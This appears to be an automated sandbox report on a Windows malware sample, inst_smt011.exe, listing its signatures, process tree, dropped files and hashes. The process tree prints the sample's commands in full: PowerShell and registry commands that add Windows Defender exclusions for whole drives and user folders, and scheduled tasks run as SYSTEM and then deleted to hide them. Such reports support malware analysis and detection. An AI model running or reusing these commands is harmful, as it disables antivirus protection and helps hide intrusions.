Analysis

  • max time kernel
    151s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 03:38

General

  • Target
    inst_smt011.exe
  • Size 55.2MB
  • Sample260805-d64esaxene
  • SHA256 6c6bc39ad6cf5a75b6563bab7c1c90bb8ad0932284a2190bc699682cdd039983
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe
    "C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4244
  • C:\Users\Public\sVuOq2\4laOjr.exe
    "C:\Users\Public\sVuOq2\4laOjr.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2188
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4188
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\sVuOq2\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2860
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\sVuOq2\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3936
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4100
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4596
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1444
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2412
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2792
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5356
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2496
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3600
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3664
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3144
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1248
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5788
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3336
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3248
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1600
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5836
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1232
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2228
                      • C:\Users\Public\sVuOq2\4laOjr.exe
                        "C:\Users\Public\sVuOq2\4laOjr.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1840
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\sVuOq2" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3236
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\sVuOq2" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4728
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1812
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1540
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:6088
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1788
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3296

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 1KB
                              • SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
                              • MD5 SHA1 SHA512 TLSH

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 186B
                              • SHA256 78c5c194eb69c8f3698ee963ef8f69b8270161d54cf7da383014a91686fe5caf
                              • MD5 SHA1 SHA512 TLSH

                              4laOjr.exe

                              • Path C:\Users\Public\sVuOq2\4laOjr.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\sVuOq2\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 4db43c45716c79b88cbe3ba4c4c0b3a4ce65306fa1d9403e2ef6a0d5d0a7147e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\sVuOq2\adoresd.dat
                              • Size 4.7MB
                              • SHA256 b503b280913d60fead48e3bfeba70f302b2c68d8f55b517c00bec170918154c0
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\sVuOq2\msadox.tb
                              • Size 8KB
                              • SHA256 c5312bc4480164ade6a958e8c7cffb94246818762e9c2d1a0a5b093fbcf26839
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1840-588-0x0000026080980000-0x0000026081211000-memory.dmp

                              memory/1840-583-0x0000026080980000-0x0000026081211000-memory.dmp

                              memory/1840-589-0x0000026080980000-0x0000026081211000-memory.dmp

                              memory/1840-587-0x0000026080980000-0x0000026081211000-memory.dmp

                              memory/1840-575-0x00007FFC68780000-0x00007FFC68C9E000-memory.dmp

                              memory/1840-582-0x00007FFC8B3A0000-0x00007FFC8B3A2000-memory.dmp

                              memory/1840-579-0x0000026080980000-0x0000026081211000-memory.dmp

                              memory/1840-591-0x00007FFC8B390000-0x00007FFC8B392000-memory.dmp

                              memory/1840-590-0x0000026080980000-0x0000026081211000-memory.dmp

                              memory/2188-533-0x00007FFC68780000-0x00007FFC68C9E000-memory.dmp

                              memory/2188-541-0x000001A6EF160000-0x000001A6EF9F1000-memory.dmp

                              memory/2188-547-0x000001A6EF160000-0x000001A6EF9F1000-memory.dmp

                              memory/2188-548-0x000001A6EF160000-0x000001A6EF9F1000-memory.dmp

                              memory/2188-558-0x000001A6EFA00000-0x000001A6EFA4E000-memory.dmp

                              memory/2188-552-0x000001A6EF160000-0x000001A6EF9F1000-memory.dmp

                              memory/2188-560-0x000001A6EFAE0000-0x000001A6EFB6A000-memory.dmp

                              memory/2188-563-0x000001A6EFAE0000-0x000001A6EFB6A000-memory.dmp

                              memory/2188-562-0x000001A6EFAE0000-0x000001A6EFB6A000-memory.dmp

                              memory/2188-559-0x000001A6EFAE0000-0x000001A6EFB6A000-memory.dmp

                              memory/2188-565-0x000001A6EF160000-0x000001A6EF9F1000-memory.dmp

                              memory/2188-568-0x000001A6EF160000-0x000001A6EF9F1000-memory.dmp

                              memory/2188-545-0x000001A6EF160000-0x000001A6EF9F1000-memory.dmp

                              memory/2188-546-0x000001A6EF160000-0x000001A6EF9F1000-memory.dmp

                              memory/2188-540-0x00007FFC8B3A0000-0x00007FFC8B3A2000-memory.dmp

                              memory/2188-539-0x000001A6EF160000-0x000001A6EF9F1000-memory.dmp

                              memory/2188-532-0x00007FFC8B390000-0x00007FFC8B392000-memory.dmp

                              memory/4188-598-0x00000229D56F0000-0x00000229D5712000-memory.dmp

                              memory/4188-601-0x00000229D5760000-0x00000229D577E000-memory.dmp

                              memory/4188-602-0x00000229D5780000-0x00000229D5832000-memory.dmp

                              memory/4188-603-0x00000229D5740000-0x00000229D574A000-memory.dmp

                              memory/4244-0-0x0000000005710000-0x000000000571D000-memory.dmp

                              memory/4244-526-0x0000000005710000-0x000000000571D000-memory.dmp

                              memory/4244-527-0x00007FFC7FD90000-0x00007FFC7FDA2000-memory.dmp

                              memory/4244-504-0x00007FFC7FD90000-0x00007FFC7FDA2000-memory.dmp

                              memory/4244-2-0x0000000005720000-0x000000000572B000-memory.dmp

                              memory/4244-1-0x0000000005710000-0x000000000571D000-memory.dmp